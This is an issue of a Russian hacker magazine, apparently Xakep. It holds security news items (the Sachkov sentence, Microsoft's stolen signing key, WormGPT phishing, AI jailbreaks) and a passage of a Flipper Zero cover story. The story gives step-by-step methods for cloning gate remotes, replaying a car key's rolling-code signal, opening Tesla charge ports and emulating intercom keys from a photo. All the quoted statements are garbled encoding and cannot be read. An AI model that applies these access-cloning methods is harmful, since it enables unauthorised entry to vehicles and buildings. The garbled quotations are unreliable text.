Основатель и бывший глава компании Group-IB Илья Сачков приговорен
к 14 годам колонии строгого режима и штрафу в 500 тысяч рублей по делу
о госизмене (ст. 275 УК РФ). Свою вину Сачков не признает, его защитники
заявили о намерении обжаловать приговор и обратиться к президенту РФ.
26 июля 2023 года Московский городской суд вынес обвинительный приговор основателю компании Group-IB (теперь FACCT). Дело рассматривалось
в закрытом режиме тройкой судей, и, в чем именно суд признал Сачкова
виновным, неизвестно, так как дела по госизмене засекречены. Согласно
решению суда, один день в СИЗО будет зачтен за один день срока в колонии.
Напомним, что Илья Сачков был арестован в сентябре 2021 года
по подозрению в госизмене, а в офисах Group-IB тогда прошли обыски.
С этого момента он находился под следствием в СИЗО «Лефортово».
Как теперь сообщают СМИ, сторона обвинения запрашивала для Сачкова 18 лет колонии, и 24 июня в Telegram-канале Сачкова появился комментарий о запрошенном прокуратурой сроке заключения:

«

«Ýòà öèôðà íå ìåøàåò ìíå ñ óëûáêîé, äîñòîèíñòâîì è ÷åòêèì õîëîäíîêðîâíûì ïðîôåññèîíàëèçìîì äåëàòü, ÷òî äîëæíî. ß âñþ æèçíü
ðàáîòàþ ñ öèôðàìè, ÷èñëàìè, êîäàìè, è íè îäíà èç íèõ ìåíÿ â ñòóïîð
íå ââîäèëà. Åñëè áóäåò îáâèíèòåëüíûé ïðèãîâîð, ýòî áóäåò îäíà
èç ñàìûõ óñïåøíûõ îïåðàöèé àìåðèêàíñêèõ ñïåöñëóæá è î÷åðåäíîé
ñïëàíèðîâàííûé óäàð ïî ðîññèéñêîìó IT-ñåêòîðó».

»

Представители компании FACCT уже опубликовали официальное заявление
о вынесенном Сачкову приговоре. В компании отметили, что сотрудники
стойко восприняли случившееся, они продолжают поддерживать Илью
и надеются, что он выйдет на свободу и будет реабилитирован, «как это неоднократно происходило в истории».

«

«Ýòî òÿæåëûé ìîìåíò äëÿ âñåõ íàñ è ÷åðíûé äåíü äëÿ ðûíêà êèáåðáåçîïàñíîñòè. Èëüÿ Ñà÷êîâ, ìîé äðóã, êîëëåãà, ñîçäàòåëü îäíîé
èç ñàìûõ óñïåøíûõ âûñîêîòåõíîëîãè÷íûõ êîìïàíèé â ñôåðå êèáåðáåçîïàñíîñòè — â ðåçóëüòàòå „ñêîðîãî ñóäà“ îòïðàâëåí â êîëîíèþ.
Èëüÿ — êóëüòîâàÿ ôèãóðà â ìèðå êèáåðáåçîïàñíîñòè. Âûáðàâ äåëîì
ñâîåé æèçíè ñîçäàíèå èíæåíåðíûõ òåõíîëîãèé ìèðîâîãî êëàññà
äëÿ ïðîòèâîäåéñòâèÿ êèáåðïðåñòóïíîñòè, îí ìíîãîå ñäåëàë, ÷òîáû
î÷èñòèòü ðîññèéñêîå è ìåæäóíàðîäíîå êèáåðïðîñòðàíñòâî îò êðèìèíàëà. È ÿ óâåðåí, ñäåëàë áû íàìíîãî áîëüøå, òåì áîëåå ñåé÷àñ,
êîãäà íà êîíó — êèáåðáåçîïàñíîñòü ãîñóäàðñòâà, à ìàñøòàá è ÷àñòîòà
êèáåðàòàê ðàñòóò ñ êàæäûì ìåñÿöåì. Ïîòåíöèàë Èëüè êàê ÷åëîâåêà,
êàê ëè÷íîñòè, êàê ïðîôåññèîíàëà îãðîìåí. Îí ñîçäàë îòå÷åñòâåííûå
êîíêóðåíòîñïîñîáíûå ýêñïîðòíûå òåõíîëîãèè, îíè óñïåøíû è ïðèçíàíû âî âñåì ìèðå. Êàê Èëüÿ ëè÷íî, òàê è êîìïàíèÿ èìåþò ìíîæåñòâî
íàãðàä è áëàãîäàðñòâåííûõ ïèñåì îò ïðàâîîõðàíèòåëüíûõ îðãàíîâ.
Åãî èçîëÿöèÿ — ýòî ïîòåðÿ äëÿ âñåãî ÈÒ ðûíêà, è âìåñòå ñ òåì, âåðîÿòíî, îíà îáðàäóåò òåõ, ñ êåì îí áîðîëñÿ, — ðåàëüíûõ êèáåðïðåñòóïíèêîâ. Íî ìû ïðîäîëæèì åãî äåëî è, êàê ïðåæäå, áóäåì ðàçðàáàòûâàòü ðåøåíèÿ äëÿ èíôîðìàöèîííîé áåçîïàñíîñòè, îïåðåæàþùèå âðåìÿ, ñëåäîâàòü íàøåé ìèññèè è çàùèùàòü êàê êîìïàíèè, òàê
è âñåõ ïîëüçîâàòåëåé. Äåëàåì», — ãîâîðèò Âàëåðèé Áàóëèí, ãåíåðàëüíûé äèðåêòîð êîìïàíèè FAÑÑT.

»

В компании сообщают, что, несмотря на заключение под стражу, Сачков продолжает работать над проектами и технологиями кибербезопасности, и,
по его словам, он продолжит эту работу, где бы ни находился.
Также подчеркивается, что все подразделения FACCT работают в штатном
режиме, и компания благодарит клиентов, партнеров, представителей комьюнити по кибербезопасности и журналистов за слова поддержки.

АППЕТИТЫ ВЫМОГАТЕЛЕЙ РАСТУТ
Специалисты Chainalysis подсчитали, что вымогательство стало единственной категорией криптовалютных преступлений, в которой в этом году наблюдается рост. Так, в 2023 году хакеры
вымогали у своих жертв на 175,8 миллиона долларов больше, чем год назад.
Только за июнь 2023 года хакеры потребовали у жертв 449,1 миллиона долларов. Если такие
темпы сохранятся, злоумышленники суммарно затребуют у своих жертв около 898,6 миллиона долларов в 2023 году, уступая лишь рекордным 939,9 миллиона долларов
в 2021 году.

Движущей силой этого резкого роста доходов вымогателей считают так называемую «охоту
на крупную дичь», поскольку киберпреступники сосредоточились на атаках на крупные организации, у которых можно требовать большие суммы денег.
Эта тенденция отчетливо видна на графике распределения вымогательских платежей, который
демонстрирует заметный рост крупных выкупов.

Лидерами в списке получателей крупных платежей стали группировки
ALPHV/Blackcat и Clop.
Средний размер выкупа Clop составляет
лиона долларов.

BlackBasta,

1,7 миллиона долларов, а медианный — 1,9 мил-

GOOGLE СОЗДАЕТ
«DRM
ДЛЯ ИНТЕРНЕТА»

Команда из четырех инженеров Google работает над новым веб-API под названием Web Environment Integrity, который позволит сайтам блокировать клиентские приложения, изменяющие их код. Плюсы с точки зрения безопасности очевидны, но, помимо того, новый API фактически поможет Google
и операторам сайтов эффективно бороться с блокировщиками рекламы.
Основная цель проекта — узнать больше о человеке по ту сторону браузера, удостовериться, что он не робот, а браузер не был модифицирован
или подделан каким-либо образом.
Разработчики заявляют, что такие данные будут полезны рекламодателям
для подсчета показов рекламы, помогут бороться с ботами в социальных
сетях, защитят права на интеллектуальную собственность, будут противостоять читерству в веб-играх, а также повысят безопасность финансовых транзакций.
То есть, на первый взгляд, Web Environment Integrity API разрабатывается
как защитное решение, чтобы сайты могли обнаруживать вредоносные
модификации кода на стороне клиента и отключать вредоносных клиентов.
При этом авторы Web Integrity API пишут, что вдохновлялись «существующими нативными сигналами аттестации, включая Apple App Attest и Android
Play Integrity API».
Здесь стоит пояснить, что Play Integrity (ранее SafetyNet) представляет
собой API для Android, позволяющий приложениям выяснить, было ли устройство рутировано. Root-доступ позволяет получить полный контроль
над устройством, и многим разработчикам приложений такое не нравится.
Поэтому после получения соответствующего сигнала от Android Integrity API
некоторые типы приложений могут просто отказаться запускаться.
Как правило, в таких случаях отказываются работать банковские приложения, Google Wallet, онлайн-игры, Snapchat, а также некоторые мультимедийные приложения (например, Netix). Ведь считается, что root-доступ может
использоваться для читерства в играх или фишинга банковских данных. Хотя
root-доступ также может понадобиться для настройки устройства, удаления
вредоносного ПО или создания системы резервного копирования, Play
Integrity такие варианты применения не рассматривает и в любом случае блокирует доступ.
Как теперь предполагают ИБ-специалисты, Google стремится реализовать
то же самое в масштабах всего интернета.
По замыслу Google, в ходе транзакции веб-страницы сервер может потребовать от пользователя пройти тест environment attestation, прежде чем тот
получит какие-либо данные. В этот момент браузер свяжется со сторонним
сервером аттестации, и пользователь должен будет пройти определенный
тест. Если проверка пройдена, пользователь получает подписанный Integrity
Token, который подтверждает целостность его среды и указывает на контент,
который нужно разблокировать. Затем токен передается обратно на сервер,
и если сервер доверяет компании-аттестатору, то контент разблокируется,
а человек наконец получит доступ к нужным данным.

Как теперь опасаются многие, если браузером в таком примере будет выступать Chrome и сервер аттестации тоже будет принадлежать Google, то
именно Google будет решать, предоставить или не предоставить человеку
доступ к сайтам.
При этом в компании уверяют, что Google не собирается использовать
описанную функциональность во вред. Так, создатели Web Integrity API «твердо уверены», что их API не должен использоваться для фингерпринтинга
людей, хотя вместе с этим они хотят получить «некий индикатор, позволяющий ограничить скорость по отношению к физическому устройству».
Также заявлено, что компания не хочет «вмешиваться в функциональность
браузера, включая плагины и расширения». Таким образом разработчики
дают понять, что якобы не собираются бороться с блокировщиками рекламы,
хотя в компании много лет работают над скандальным Manifest V3, чья цель
состоит именно в этом. А новый API можно использовать для обнаружения
того, что блокировщик рекламы вмешивается в рекламный код. После этого
оператор сайта будет волен попросту прекратить предоставление услуг.
Обсуждение этой темы в сети уже спровоцировало волну критики в адрес
Google, а проект окрестили «DRM для интернета». К примеру, разработчики,
ИБ-специалисты и простые пользователи отмечают, что проект Web Integrity
API намеренно размещается на GitHub одного из разработчиков, а Google
старается дистанцироваться от разработки, которая может отравить существующие веб-стандарты, помогая компании сохранить рекламный бизнес.
Дискуссия на Issues-странице проекта на GitHub также касается преимущественно этических аспектов происходящего, а Google обвиняют в попытке
стать монополистом в очередной области и «убить» блокировщики рекламы.

ПАВЕЛ ЖОВНЕР ПОДТВЕРДИЛ РАЗРАБОТКУ FLIPPER ONE

В этом месяце «Хакер» поговорил с одним из авторов «хакерского тамагочи» Flipper Zero Павлом Жовнером. В интервью Павел подтвердил, что работа над вторым и более продвинутым
вариантом хакерского мультитула, Flipper One, уже ведется.
Исходно старшая модель «хакерского тамагочи» планировалась как более продвинутая версия Flipper, ориентированная на атаки на проводные и беспроводные сети. One должен был
обладать всей функциональностью Zero, а также иметь отдельный ARM-компьютер с Kali Linuх
на борту.



«Мы сейчас работаем над Flipper One, но пока не совсем понимаем, каким
он должен быть. Мы хотим вообще жирный комбайн с FPGA и SDR, в котором
все протоколы можно будет определить программно, но пока есть сомнения,
будут ли покупать устройство за 300–500 долларов.
Так что проект в активном R&D, но пока нет понимания по важным частям.
Например, не выбрали модуль Wi-Fi, потому что все существующие чипы, пригодные для атак, уже устарели. Возможно, придется спонсировать разработку
своего драйвера. В общем, увидим», — сообщил Жовнер.

Продолжение статьи



← Начало статьи

СЕРТИФИКАТЫ
ANDROID 7
УСТАРЕВАЮТ

Разработчики предупреждают, что с 8 февраля 2024 года сертификаты Let’s
Encrypt перестанут работать в Android 7 и более старых версиях мобильной
ОС.
Создатели Let’s Encrypt вернулись к проблеме старых Android-устройств,
о которой впервые заговорили еще в 2020 году. Они напоминают, что после
запуска сервиса им нужно было убедиться, что сертификаты Let’s Encrypt
пользуются широким доверием. С этой целью была организована перекрестная подпись промежуточных сертификатов с IdenTrust DST Root X3. Это означало, что все сертификаты, выданные опосредованно, также будут доверенными, даже если собственный ISRG Root X1 компании таковым еще не был.
Проблемы начались, когда выяснилось, что в конце 2021 года истекает
срок действия промежуточных сертификатов с перекрестными подписями,
а также срок партнерства между Let’s Encrypt и организацией IdenTrust (и
продлять его не планировалось).
Хотя современные браузеры на тот момент уже доверяли корневому сертификату Let’s Encrypt, более трети всех Android-устройств по-прежнему
работали под управлением старых версий ОС, которые могли внезапно
перестать доверять сайтам, использующим сертификаты Let’s Encrypt.
В итоге предполагалось, что осенью 2021 года пользователи старых
устройств начнут массово испытывать сложности с доступом к сайтам, а также получать сообщения об ошибках сертификатов. Тогда инженеры Let’s
Encrypt подсчитали, что на таких пользователей приходится примерно 1–5%
всего трафика.
Так как подобный глобальный сбой был недопустим, в компании решили
проблему, организовав новую перекрестную подпись, которая должна была
прослужить дольше самого DST Root CA X3. Эта временная мера позволила
старым устройствам на базе Android продолжать доверять сертификатам
компании еще три года. Однако срок вновь истекает 30 сентября 2024 года.
Как теперь пишут разработчики, за последние три года процент устройств
на Android, которые доверяют ISRG Root X1, вырос с 66 до 93,9%. Ожидается,
что этот процент еще увеличится в течение следующего года, особенно когда
выйдет Android 14, где появится возможность обновить корневые сертификаты без полного обновления ОС.

Так как продолжать поддерживать совместимость больше не нужно (и
это поможет компании значительно снизить операционные расходы), в Let’s
Encrypt сообщают, что за период с 8 февраля 2024 года по 30 сентября 2024 года откажутся от старой перекрестной подписи. Из-за этого
у владельцев устройств, работающих под управлением Android 7 и более старых версий операционной системы, возникнут проблемы.

«

«Åñëè âû èñïîëüçóåòå Android 7.0 èëè áîëåå ðàííþþ âåðñèþ ÎÑ, âàì
ìîæåò ïîòðåáîâàòüñÿ ïðèíÿòü ìåðû, ÷òîáû îáåñïå÷èòü ñåáå äîñòóï
ê ñàéòàì, çàùèùåííûì ñåðòèôèêàòàìè Let’s Encrypt. Ìû ðåêîìåíäóåì
óñòàíîâèòü è èñïîëüçîâàòü Firefox Mobile, êîòîðûé èñïîëüçóåò ñîáñòâåííîå õðàíèëèùå äîâåðåííûõ ñåðòèôèêàòîâ âìåñòî õðàíèëèùà
äîâåðåííûõ ñåðòèôèêàòîâ ÎÑ Android è, ñëåäîâàòåëüíî, äîâåðÿåò
ISRG Root X1», — ïèøóò ðàçðàáîò÷èêè.

»

Владельцам сайтов, которые могут заметить падение трафика во втором
и третьем кварталах 2024 года, рекомендуется дать своим посетителям такой
же совет: использовать Firefox Mobile или обновить устройство.

НИКТО НЕ ЛЮБИТ ГОЛОСОВЫЕ СООБЩЕНИЯ
По результатам исследования «Лаборатории Касперского», около половины опрошенных российских пользователей (56%) в принципе не готовы часто отвечать на голосовые сообщения.
Еще 64% респондентовнормально относятся к таким сообщениям только в том случае, если
они пришли от друзей или родственников.

79% пользователей считают, что в публичных местах слушать голосовые сообщения некомфортно, а 50% — что информацию из них трудно запоминать или перепроверять.

У MICROSOFT УКРАЛИ
ВАЖНЫЙ КЛЮЧ

В середине июля 2023 года стало известно, что у компании Microsoft был
похищен криптографический ключ MSA (Microsoft account consumer signing
key), что привело к массовой атаке на Exchange Online и Azure Active Directory
(AD) более 25 организаций по всему миру, включая правительственные
учреждения в США и странах Западной Европы.
Как оказалось, еще в середине мая злоумышленникам из китайской группировки Storm-0558 удалось получить доступ к учетным записям, принадлежащим примерно 25 организациям, а также к некоторым учетным записям
пользователей, которые, вероятно, были связаны с этими организациями.
Названия пострадавших организаций и госучреждений не были раскрыты.
Известно лишь, что в числе пострадавших Госдеп и Министерство торговли
США.
Как объясняли тогда в Microsoft, для этой атаки злоумышленники использовали токены аутентификации, подделанные с помощью криптографического ключа MSA, который применяется для подписания токенов. Из-за 0-dayпроблемы, связанной с валидацией в GetAccessTokenForResourceAPI, хакеры
смогли подделать чужие подписанные токены Azure Active Directory (Azure AD
или AAD) и выдать себя за своих жертв.
При этом в Microsoft до сих пор не объяснили, как именно такой важный
ключ MSA вообще оказался в руках хакеров.
Более того, по данным аналитиков компании Wiz, специализирующейся
на облачной безопасности, проблема куда серьезнее, чем ее преподносит
Microsoft. Исследователи считают, что проблема затронула все приложения
Azure AD, работающие с Microsoft OpenID v2.0. Дело в том, что украденный
ключ мог подписать любой токен доступа OpenID v2.0 для личных учетных
записей (например, Xbox, Skype) и мультитенантных приложений AAD
при определенных условиях.
Хотя Microsoft заявляла, что пострадали только Exchange Online и Outlook,
по мнению специалистов Wiz, хакеры могли использовать скомпрометированный ключ, чтобы выдать себя за любую учетную запись в любом пострадавшем клиентском или облачном приложении Microsoft. В их число входят
managed-приложения Microsoft, такие как Outlook, SharePoint, OneDrive
и Teams, а также клиентские приложения, поддерживающие аутентификацию
Microsoft Account, включая те, которые позволяют использовать функциональность Login with Microsoft.

«

«Âñё â ýêîñèñòåìå Microsoft èñïîëüçóåò äëÿ äîñòóïà òîêåíû àóòåíòèôèêàöèè Azure Active Directory, — îáúÿñíÿþò èññëåäîâàòåëè. — Çëîóìûøëåííèê ñ êëþ÷îì ïîäïèñè AAD — ýòî ñàìûé ñèëüíûé çëîóìûøëåííèê, êîòîðîãî òîëüêî ìîæíî ïðåäñòàâèòü, ïîñêîëüêó îí ìîæåò
ïîëó÷èòü äîñòóï ïðàêòè÷åñêè ê ëþáîìó ïðèëîæåíèþ ïîä âèäîì ëþáîãî
ïîëüçîâàòåëÿ. Ýòî íàñòîÿùàÿ ñóïåðñïîñîáíîñòü — êèáåðîáîðîòåíü».

»

В ответ на эти обвинения исследователей в Microsoft подчеркнули, что компания отозвала все ключи MSA, чтобы гарантировать, что злоумышленники
не имеют доступа к другим скомпрометированным ключам. Что полностью
предотвращает любые попытки создания новых токенов. Также в компании
говорят, что многие заявления экспертов Wiz «являются спекулятивными и не
основаны на фактах».
Сообщается, что после аннулирования украденного ключа специалисты
Microsoft не обнаружили дополнительных доказательств, указывающих
на несанкционированный доступ к учетным записям клиентов с использованием того же метода подделки токенов. Кроме того, Microsoft отмечает,
что тактика Storm-0558 изменилась и хакеры больше не имеют доступа
к каким-либо ключам подписи.

«

«Íà äàííîì ýòàïå òðóäíî îïðåäåëèòü ïîëíûå ìàñøòàáû èíöèäåíòà,
ïîñêîëüêó ïîòåíöèàëüíî óÿçâèìûìè áûëè ìèëëèîíû ïðèëîæåíèé (êàê
ïðèëîæåíèé Microsoft, òàê è ïðèëîæåíèé êëèåíòîâ) è â áîëüøèíñòâå
èç íèõ îòñóòñòâóþò íåîáõîäèìûå æóðíàëû, ÷òîáû ïîíÿòü, áûëè ëè îíè
ñêîìïðîìåòèðîâàíû», — îáúÿñíÿþò ýêñïåðòû Wiz.

»

Дело в том, что до этого инцидента возможности ведения журналов были
доступны только клиентам Microsoft, которые оплатили соответствующую
лицензию Purview Audit (Premium). Из-за этого Microsoft столкнулась с серьезной критикой со стороны ИБ-сообщества, когда эксперты заявили, что,
по сути, сама Microsoft мешала организациям оперативно обнаружить атаки
Storm-0558.
В результате под давлением сообщества и Агентства по кибербезопасности и защите инфраструктуры США (CISA) компания согласилась бесплатно расширить доступ к данным облачных журналов, чтобы защитники могли
обнаруживать подобные попытки взлома в будущем.

В 2,5 РАЗА БОЛЬШЕ ФИШИНГА
За первые шесть месяцев 2023 года общее количество фишинговых писем, которые злоумышленники отправляют на корпоративные почты российским компаниям, выросло в 2,5 раза,
предупредили эксперты сервиса защиты корпоративной электронной почты BI.ZONE. За указанный период специалисты сервиса заблокировали более 120 миллионов потенциально
опасных писем.
Средняя доля нежелательных писем, отправленных российским компаниям, составляет 75%
от общего числа. Так, из 250 писем, отправленных по электронной почте, хотя бы одно оказывается фишинговым.

WORMGPT
УЧАСТВУЕТ
В ФИШИНГЕ

Специалисты SlashNext обратили внимание, что преступники все чаще
используют генеративный ИИ в своих атаках. В частности, на хакерских
форумах рекламируется инструмент WormGPT, который предлагается применять для организации фишинговых рассылок и компрометации деловой
почты (business email compromise, BEC).

«

«Ýòîò èíñòðóìåíò ïðåäñòàâëÿåò ñîáîé blackhat-àëüòåðíàòèâó èçâåñòíûì ìîäåëÿì GPT, ðàçðàáîòàííóþ ñïåöèàëüíî äëÿ âðåäîíîñíûõ äåéñòâèé, — ïèøóò èññëåäîâàòåëè. — Êèáåðïðåñòóïíèêè ìîãóò èñïîëüçîâàòü ýòó òåõíîëîãèþ äëÿ àâòîìàòèçèðîâàííîãî ñîçäàíèÿ î÷åíü óáåäèòåëüíûõ ôåéêîâûõ ïèñåì, ïåðñîíàëèçèðîâàííûõ äëÿ ïîëó÷àòåëÿ, ÷òî
óâåëè÷èâàåò øàíñû íà óñïåõ àòàêè».

»

WormGPT основан на языковой модели GPTJ, созданной в 2021 году. Он
может похвастаться рядом функций, включая неограниченную поддержку
символов, сохранение истории чатов и возможность форматирования кода.
Авторы называют его «злейшим врагом ChatGPT», который позволяет совершать «всевозможные незаконные действия».
Также создатели инструмента утверждают, что он обучен на разных
наборах данных, с упором на данные, связанные с вредоносными программами. Однако конкретные наборы данных, использованные для обучения,
не раскрываются.
Получив доступ к WormGPT, эксперты провели собственные тесты. Так,
в одном эксперименте они поручили WormGPT сгенерировать мошенническое письмо, которое должно вынудить ничего не подозревающего менеджера
по работе с клиентами оплатить мошеннический счет.
В SlashNext говорят, что результаты оказались «тревожными»: WormGPT
создал письмо, которое получилось весьма убедительным, что «демонстрирует потенциал для использования в изощренных фишинговых и BEC-атаках».

«

Созданное исследователями фишинговое письмо
«Ãåíåðàòèâíûé ÈÈ ìîæåò ñîçäàâàòü ýëåêòðîííûå ïèñüìà ñ áåçóïðå÷íîé ãðàììàòèêîé, ïîâûøàÿ èõ [âíåøíþþ] ëåãèòèìíîñòü è ñíèæàÿ
âåðîÿòíîñòü òîãî, ÷òî îíè áóäóò ïîìå÷åíû êàê ïîäîçðèòåëüíûå, —
ïèøóò ñïåöèàëèñòû. — Èñïîëüçîâàíèå ãåíåðàòèâíîãî ÈÈ çíà÷èòåëüíî
óïðîùàåò âûïîëíåíèå ñëîæíûõ BEC-àòàê. Äàæå çëîóìûøëåííèêè
ñ îãðàíè÷åííûìè íàâûêàìè ìîãóò èñïîëüçîâàòü ýòó òåõíîëîãèþ, ÷òî
äåëàåò åå äîñòóïíûì èíñòðóìåíòîì äëÿ î÷åíü øèðîêîãî êðóãà êèáåðïðåñòóïíèêîâ».

»

Также исследователи отмечают тенденцию, о которой еще в начале года предупреждали их коллеги из компании Check Point: на хакерских форумах
по-прежнему активно обсуждаются различные «джейлбрейки» для ИИ типа
ChatGPT.
Такие «джейлбрейки» представляют собой тщательно продуманные запросы, составленные особым образом. Они предназначены для манипулирования чат-ботами с ИИ, чтобы генерировать ответы, которые могут содержать
конфиденциальную информацию, нежелательный контент и даже вредоносный код.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Инструмент Snappy поможет обнаружить мошеннические точки доступа Wi-Fi
Rowhammer-атаку предложили использовать для фингерпринтинга устройств
Почти 40% установок Ubuntu уязвимы перед новыми уязвимостями повышения привилегий
Для регистрации на российских сайтах может потребоваться российский email-адрес
Firefox будет блокировать работу аддонов на некоторых сайтах ради безопасности
Энтузиасты запустили сайт для обновления старых версий Windows, включая 95, 98, NT 4.0, ME
Microsoft отозвала сертификаты, которыми подписали более 100 вредоносных драйверов ядра
Исходники UEFI-буткита BlackLotus опубликовали на GitHub
Атака Zenbleed раскрывает конфиденциальные данные на процессорах AMD Zen2
Google создает red team для атак на ИИ-системы

COVERSTORY

ЧТО Я УСПЕЛ НАТВОРИТЬ
ЗА МЕСЯЦ С FLIPPER ZERO

Flipper — хакерский «мультитул», созданный командой российских разработчиков, — успел неплохо прославиться.
В начале 2021 года проект собрал почти 5 миллионов долларов на «Кикстартере»,
потом сообщество с интересом следило
за всеми перипетиями производства,
а теперь начались сложности с распространением и доставкой. Я уже получил
свой экземпляр и расскажу о том,
как использую его в жизни, чтобы помочь
тебе понять, стоит ли срочно обзаводиться
«Флиппером».

FiReMaN
AA88msg@protonmail.com

Уже больше года прошло с тех пор, как первые бэкеры получили свои девайсы, но шумиха вокруг Flipper Zero только усиливается. Миллионы просмотров
видео скрипт-кидди в «Тиктоке» и обзоры в известных блогах, таких как Linus
Tech Tips, новости об уничтожении и конфискации партий «Флиппера», да еще
и запрет на продажу на Amazon и eBay только подогревают интерес к устройству. В рекламе компонентов СКУД-систем уже пишут «Flipper Zero не сработает!». Спрос на «Флиппер» настолько большой, что о дропах новых партий
объявляют заранее, а разлетаются они мгновенно. При этом не дремлют
и скамеры, которые пытаются заработать на ажиотаже.

При этом новоиспеченные обладатели устройства, которые повелись на хайп,
раз за разом спрашивают на сабреддите «Флиппера»: «А что с ним делать?»
Ответ чаще всего: «Играть в змейку и открывать лючки зарядки у Tesla».
Давай вместе пройдемся по доступным в заводской прошивке возможностям «Флиппера» и попробуем понять, какие потенциальные применения ему найдутся в жизни гика.
Итак, после распаковки Flipper быстро включается и сразу же готов
к работе. Единственное, что потребовалось, — это флешка microSD
и обновление прошивки.
SUB-GHZ
Начнем с самой интересной, на мой взгляд, функции. Flipper умеет принимать, записывать и воспроизводить радиосигналы в определенных диапазонах на частотах до 1 ГГц. Но с базовой прошивкой — в разрешенных пределах в зависимости от региона. Для моей страны эти диапазоны те же, что
и для России: 433,05–434,79 МГц, 868,15–868,55 МГц, 915 МГц, 925 МГц.
Судя по моему небольшому опыту и беглому поиску по маркетплейсам,
большинство шлагбаумов в нашем регионе работает на частоте 433,92 МГц
и использует статический код. Это значит, что сигнал пульта от такого шлагбаума легко принять и сохранить в «Флиппер» для дальнейшего применения.
Конечно, это не относится к платным подземным парковкам, частным
домам и другим местам в таком духе. Там обычно стоят более продвинутые
СКУД. Но коды шлагбаумов в закрытых дворах многоквартирных домов,
на небольших частных парковках и офисных стоянках отлично копируются.
Øëàãáàóì íà ïàðêîâêå
В моем доме для въезда на территорию используется именно такой шлагбаум с недорогим пультом. Копирование сигналов всех трех его кнопок
занимает в общей сложности меньше минуты, а записанный на «Флиппер»
сигнал отлично работает — не хуже, чем когда используешь пульт.
Для записи нужно всего лишь выбрать в разделе Sub-GHz пункт Read
и установить центральную частоту, которая обычно указана на пульте. После
нажатия по очереди всех кнопок «Флиппер» их определит и демодулирует
сигналы, а нам останется только сохранить их под каким-то именем.
Следующей жертвой я наметил пульт от ворот подземной парковки.
На него надежды было мало, потому что, в отличие от пульта шлагбаума,
за него мне пришлось отвалить залог, эквивалентный 3,5 тысячи рублей, а на
местном радиорынке наотрез отказались его копировать, повторяя «Rolling
code, rolling code».
Однако на тех же самых настройках «Флиппер» безошибочно определил
источник сигнала как Marantec, что совпало с надписью на самом пульте. Обе
кнопки успешно записались и отлично функционируют. Даже дальность
работы пультов и «Флиппера» ничем не отличается.
Итого: минус два лишних брелока, сэкономленные деньги и плюсик
«Флипперу».

Копируем пульты
Кстати, по поводу дальности считывания сигнала. Я провел небольшой эксперимент, в результате которого определил, что записать сигнал с таких беспроводных пультов можно с расстояния около 20 м в прямой видимости.
Правда, зона уверенного приема (запись сигнала после короткого нажатия
кнопки) оказалась чуть меньше — порядка 15–18 м в зависимости от пульта.
Впрочем, это расстояние можно увеличить, если использовать дополнительный ВЧ-модуль с внешней антенной.
Основной вывод: при использовании простеньких незащищенных пультов
всегда есть вероятность, что потенциальный злоумышленник перехватит сигнал.
Àâòîìîáèëü
Воодушевленный этим успехом, я решил перейти к брелоку от машины. Тут
уже, конечно, код не статический, а динамический, то есть тот самый rolling
code.
Rolling code (скользящий, или динамический, код) — технология, которую
применяют в радиочастотном дистанционном управлении, чтобы защититься
от копирования ключа. Принцип ее работы очень простой: при каждом
использовании код меняется, причем каждый код, отправленный передатчиком и принятый приемником, считается использованным и может быть принят только один раз.
Технология надежная, но даже из описания можно понять, что у нее есть
один изъян — использованным считается только принятый приемником код.
То есть полностью скопировать брелок от современного автомобиля
не получится, но один раз снятый «Флиппером» сигнал сработает. В отличие
от случая с пультом от парковки, полностью демодулировать сигнал не выйдет, и мы запишем его в формате RAW, выбрав в меню соответствующий
пункт.

При попытке использовать предыдущий код после того, как был использован следующий, приемный блок в автомобиле переводится в режим
блокировки. Вывести его из этого режима у меня
получилось, только скинув клемму аккумулятора.
До этого автомобиль никак не реагировал
на нажатия кнопок на ключе, поэтому открыть
или закрыть машину можно было только физическим ключом автомобиля. А во многих автомобилях замочная скважина спрятана за заглушкой
ручки открывания двери, о чем владельцы часто
даже не подозревают. Если не хочешь оказаться
в такой ситуации, лучше воздержись от экспериментов с автомобилем.

В итоге у меня получилось один раз открыть центральный замок, записав код
открытия в режиме RAW, и воспроизвести сигнал открытия рядом с автомобилем. Обрати внимание: нужно, чтобы ключ находился далеко от автомобиля,
иначе сигнал будет принят машиной.
Вывод: никогда не оставляй свой ключ без присмотра, а в машине не храни ценные вещи. Злоумышленник может незаметно записать сигнал открытия
с ключа и открыть двери автомобиля, пока тебя не будет. Для этого достаточно такого простого устройства, как «Флиппер», но существуют и более мощные специализированные девайсы.
Õàêàåì «Òåñëó»
Популярное развлечение владельцев «Флиппера» в Европе и Америке —
дистанционное открытие лючков зарядки в «Теслах». В России вероятность
встретить «Теслу» не так велика. А вот там, где я живу, они попадаются намного чаще. Лючок одной из них (исключительно в образовательных целях) я
торжественно открыл к большому удивлению сидевшего в ней владельца.
Конечно же, делал я это в суперудобном стелс-режиме Screen Streaming
из приложения для iPhone, чтобы не столкнуться с недопониманием хозяина
машины.

Рай флипперовода, по мнению пользователей Reddit
Чтобы провернуть этот трюк, нужно скачать с GitHub четыре файла, соответствующие двум вариациям сигналов — для машин европейского и американского рынков. Поскольку частоты «Флиппера» в стандартной прошивке
залочены с учетом региона, сигнал для американской «Теслы» мне воспроизвести не удалось, а при попытке это сделать «Флиппер» выдавал грозную
картинку. Видимо, несколько других попавшихся мне машин, которые мне
не удалось хакнуть, были как раз американскими.

Дельфин грозит плавником (?)
RFID
Пожалуй, самое простое и полезное применение «Флиппера» — это сохранение ключей домофона.
Очень удобно хранить ключи от всех домов, где ты бываешь, и больше
никогда не испытывать неловкость, стоя перед закрытой дверью и слушая
писк динамика.
Все попадавшиеся мне ключи работали по протоколу EM4100. Считывание
занимает буквально пару секунд, как и эмуляция ключа. Тут главное —
не полениться и при сохранении ключа изменить название со случайного
дефолтного на осмысленное, которое поможет однозначно идентифицировать метку.
Интересно, что протокол настолько не защищен, что эмулировать ключ
можно буквально по фотографии. По протоколу E4100 значимые данные
содержатся в пяти байтах. Если на ключе есть последовательность цифр типа
«049, 43317», то для ввода ключа в ручном режиме необходимо перевести эти
два числа в Hex. Должно получиться 00 31, A9 35. Перед этими четырьмя
байтами добавляем код версии (нужно будет подобрать) и вводим вручную:
00 00 31 A9 35. Этим кодом можно пользоваться для эмуляции так же, как и
любым считанным по радиоканалу.

Дрессированный дельфин открывает двери силой мысли
Ключи EM-Micro EM4100 бывают неперезаписываемые (в основном маркированные, их заносят в память домофона) и перезаписываемые. Последние нам и потребуются для создания копий ключей. Для этой цели я
